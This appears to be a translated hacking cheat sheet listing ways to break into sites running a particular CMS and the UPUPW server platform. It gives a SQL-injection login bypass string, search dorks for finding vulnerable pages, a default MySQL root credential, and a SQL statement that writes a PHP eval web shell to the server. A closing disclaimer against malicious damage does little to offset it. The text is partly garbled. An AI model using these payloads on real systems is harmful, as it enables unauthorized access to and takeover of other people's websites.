Some CMS website system vulnerability, practiced hand (continuous update)

For Shell, power test, do not maliciously destroy

Xusoft System:

Background Universal password: ' or ' = ' or ' can be directly logged in, backstage address/manage/login.asp

Inurl:readarticlemb.asp?id=

Inurl:readbigclassmb.asp?id=

Inurl:readbigclassmbnews.asp?id=

UPUPW Green Server Platform:

The server is basically 2008,system permissions

MySQL default username Password: root, enter the background directly execute SQL statement write Shell

PHP probe -UPUPW Green Server platform kangle Special Edition

© WWW. UPUPW. NET All rights reserved

SQL Write Shell

Select ' <?php @eval ($_post[' geeking.cc ');? > ' into OUTFILE ' d://upupw//htdocs//gekking.php '

Some CMS website system vulnerability, practiced hand (continuous update)